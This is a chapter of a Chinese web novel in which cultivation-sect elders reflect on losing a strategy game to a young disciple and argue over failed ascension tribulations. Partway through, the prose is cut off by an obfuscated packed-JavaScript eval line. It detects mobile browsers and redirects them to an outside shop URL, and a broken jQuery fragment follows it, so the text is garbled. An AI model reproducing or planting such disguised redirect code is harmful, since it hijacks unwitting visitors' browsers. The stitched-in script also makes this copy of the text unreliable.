222.飞升雷劫

作品:《世界!请欢迎我的到来

    棋局结束后,会议室便陷入了沉默。


    虽然平日里,大家都很喜欢开一些诸如“这个宗门要完蛋了”的玩笑,但会议室的各位核心成员,其实从未真正想过这样的局面。


    能够成为宗门核心高层的修士,内心深处其实都认可并爱着这个地方。


    就算平日里与宗门中的其他人不和,但涉及到宗门利益时,大家还是都能短暂的放下成见,共克时艰。


    所以在真正见到了那片熟悉的微缩建筑,从高耸林立到轰然倒塌,最后淹没在深蓝之中的整个过程后,这个冲击感,远比那两场天劫的失败,更让观棋者们回不过神来。


    完全不敢相信自己落败事实的尹云泽,正一脸凝重地盯着面前的一片深蓝。


    他在脑海当中,快速过了一遍整个棋局的演化过程。


    越是思考分析林风远的棋路,他的内心就越是五味杂陈。


    这场对弈,就算抛开那离谱的天劫,林风远的棋法,也是无可挑剔的。


    就是因为这棋法太过完美,所以尹云泽还在对弈的时候,就止不住地怀疑,林风远是不是在作弊。


    玉听戈和李听风排查过了还不够,尹云泽还偷偷叫长老会的人又复查了一遍。


    可不管怎么排查,最终的结论,依旧是对方什么也没做,真的是在正常下棋。


    调查到这里,尹云泽再怎么不信邪,也只能乖乖认命了。


    毕竟修真界的任何比试向来如此。


    就算是真的作弊了,只要查不到任何证据,通通只能疑罪从无,默认对方没有作弊。


    就好比某些比试的奖励,是在宝库里面盲抽一样。


    运气,同样也是实力的一部分。


    而不被发现的作弊能力,也是实力的一部分。


    好在修云宗再他的掌握之下走向灭亡,只是山河弈演化出来的一种可能性,并不是现实发生的情况。


    包括这个战胜他的棋手,也不是宗门的敌人,而是宗门未来的希望。


    所以哪怕输了这场开局堪称“天胡”的好棋局,尹云泽也并没有因此爆出丑态,而是很好地维持了自己的形象。


    他大大方方地承认了自己技不如人,在祝贺林风远获得胜利的时候,也由衷地承认了一件事。


    这场对弈,确实让他大开眼界。


    看着棋盘对面的林风远也在礼貌回应自己的祝贺,尹云泽的心里实在是百感交集。


    他在山河弈中与他人对弈了几百年,并不是没有遇到过这种杀伐之气可以笼罩整片沙盘的棋局。


    他过去衍化过的最大冲突,有一场就是修真界的百强宗门大型混战。


    而他在那一次对弈当中,也是展现了这种“非我同袍,皆可诛之”的理念。


    虽然赢下了对弈,但同样也收获了“沙盘暴君”的外号。


    正是因为尹云泽过往的光辉战绩,所以其他人包括尹云泽自己都坚信,在战力极其悬殊、还要比谁的决策更心狠手辣的全局混战当中,林风远这个理想主义者,怎么都不可能狠过这位沙盘暴君。


    但谁都没有想到,林风远发起狠来,比尹云泽还要可怕。


    沙盘的底色被彻底改换的画面,也属实是给了所有观棋者一种头皮发麻的震撼。


    正所谓观棋如观人。


    倘若是没有下这么一场山河弈,尹云泽怎么也不敢相信,平日里那个温和有礼,时不时还带点狡黠的乖巧皮囊下,居然还潜藏着一个老谋深算、还狠厉果断的怪物。


    是的,不是怪才而是怪物。


    世间难题的解法,从来都是从无到有最难。


    而创下这种功绩的人,世间一般被称之为大才,或者怪才。


    天才与怪才在出头之前,都需要靠成绩来证明自己。


    但成绩又往往是可以被复制的。


    后来人一旦有了参考答案,想要复刻成功,便简单的多。


    可怪物不同。


    怪物的成就往往是匪夷所思、不可复制的。


    那是林风远在年轻稚嫩的时候便穿越异世界,凭借着敏锐的观察力与天生的才能,在几百上千年的时光里磨难而成的。


    从一个敏锐但带着许多奇思妙想的人,到眼光毒辣、手段狠厉而果决的人,她吃过很多苦。


    乞丐、学徒、商人、学者、导师、战士、祭司……


    林风远都当过。


    这世间众生相,她都看过体会过。


    她从赤色的世间走来,穿过光与魔法,踱步于战场,吃过许多亏,但最后她孤身一人。


    这样的经历,再往往不会有第二人了。


    这样的对弈,哪怕现在再来一场,也不会有观棋者能够做到成功。


    哪怕是孟听安,也不敢对尹云泽喊上一声,“不服就跟我再来一局,保证让你再输一次”。


    毕竟从来一局,尹云泽也肯定不会在开局放任对手的发育,也不会再轻视对底牌核心的保护。


    所以再来一次,其他人也不过是回到了看林风远作为一之前的蒙圈状态,面对战力悬殊还严防死守的红棋,就算知道蓝棋拥有扳倒对方的潜力也无济于事。


    属于是拿着参考答案都没法抄。


    尹云泽甚至敢说,这场离谱的对弈,就算跟会议室中的其他人都再来上一次,他也不可能再输。


    但他却不敢说,若是跟林风远再来一局,自己会不会赢。


    毕竟这场在棋局,尹云泽压根就不敢确定林风远的极限在哪里。


    按照道修的判断,林风远在这场棋局当中展露出来的真实,根本就令他可望而不可及。


    这哪儿是什么博人一笑的小朋友?


    这分明就是隐藏在表面的风平浪静下的深海!


    尹云泽一直以为,自己跟渡泽云不一样。他可不是那种几句好话就会被哄得找不着北的类型,而是将这个晚辈的哄人小花招拿捏透彻的成熟长辈。


    有时候,为了让这位低他整整四个辈分的小朋友更有成就感,尹云泽还会故意把那些可以直接同意的事情卡一卡,等到那位小朋友受托上门,再假装听从劝告,顺势答应她的请求。


    所以尹云泽一直都自认为,自己只是表面上被林风远劝服了。


    其实两人的沟通一直都是他在权衡利弊、暗中主导与“自愿上钩”。


    他觉得他不仅掌握了主导权,还顺带搞好了双方的关系。


    尹云泽一直都对着自己的这个计谋极其满意,谁会比他更会玩一箭双雕啊?


    在经历了山河弈,尹云泽发现自己在对弈过程中,完全猜不透林风远的下一招,自己却被接连破招后,他才开始后知后觉地怀疑起了一件事。


    林风远是不是……早就知道自己是在故意逗她,所以才一直顺着他的意,让他觉得自己的计谋得逞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938892|162870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊?


    尹云泽越想越觉得这个可能性很大。


    毕竟如果只是他单方面主导的话,以林风远这个说拒绝就坚决罢工的个性,他们俩不可能这么多年都没有产生过大摩擦。


    双方关系相处融洽的前提,一定不是某一方的单方面付出,而是双向奔赴。


    所以尹云泽之前一直以为是他在主导两人的关系,其实是完全错误的想法。


    这个心眼子多的不行的小孩儿,才是俩人关系的真正主导者啊!


    尹云泽还沉浸在对过去错误认知的纠正当中,而其他人也在安静复盘这局信息量庞大的棋局。


    对于其他观棋者而言,整场棋局当中,最不值得关注的,就是那两场失败的飞升雷劫。


    毕竟修真界已经上万年都没有出现过飞升者了。


    修云宗的最后一位飞升者,就是那位建立了如今修真界秩序的大能,在整个飞升的历史当中,排行倒数第二位。


    而最后一位,则是另一个百强宗门的开山祖师。


    就算是那最后一位飞升者,距离如今,也已经是一万五千年之久了。


    所以顾修弥虽然很强,但渡劫失败的可能性,依旧很高。


    别说这一任宗主的渡劫有可能失败了,修云宗的上一任、上上任、以及无数个上上任宗主,几乎都是在挑战飞升的雷劫当中死去的。


    至于渡泽云,其他人就更不在意了。


    毕竟这位几百岁的巨婴,与在座的每一位成员,或多或少都有恩怨。


    而在棋局结束的一瞬间,虽然其他人都在沉默,但山河弈可没有闲着。


    按照惯例,棋局结束后,山河弈就会发布本次棋局的精彩对弈节点。


    看得意犹未尽的观棋者们,还没来得及与身边人沟通,山河弈就将那些影响棋局转折点的节点放了出来,引得各位都开始观看回放。


    可以开始复盘后,其他观棋者关注的重点,都放在了林风远那些出神入化的应对之法上面。


    不过渡泽云的脑回路,一向是与旁人不一样的。


    自从代表他的那枚棋子陨落后,他就一直一言不发,就这么盯着山河弈结算的最后一场对弈节点。


    顾修弥见其他人都在跟身边人讨论林风远的打法,但渡泽云却一改往日的咋咋呼呼,居然没有跟他吐槽起林风远,而是在闷声思考?


    这可就让顾修弥感到纳闷了。


    不会吧?这家伙不会因为一场棋局的演化失败,就开始怀疑自己了吧?


    顾修弥刚想问他在想些什么,渡泽云就猛地拍桌,然后恨铁不成钢地扭过头,对着顾修弥开始了碎碎念。


    “我真**忍不住了!七成啊!那可是七成的成功率啊!这都能飞升失败?服了啊!我以前晋升的时候,一成的概率我都能赌成功,哪儿遇过七成这么富裕的仗啊!这都能失败?我这辈子都没有这么黑过!这也太黑了吧”


    “冷静!冷静!”


    听完渡泽云噼里啪啦地一通牢骚,顾修弥终于明白了他沉默的原因。


    原来是欧皇接受不了自己有朝一日变黑鬼啊。


    渡泽云急得连连摇头,“我根本冷静不了啊!七成怎么会失败!本赌狗从来没有输过七成胜率的赌局!宗门的外号果然没有一个是白叫的!现实里要是真打成这样,我都得半路被他气到投敌!不能选黑鬼当队友,是真的有道理啊——”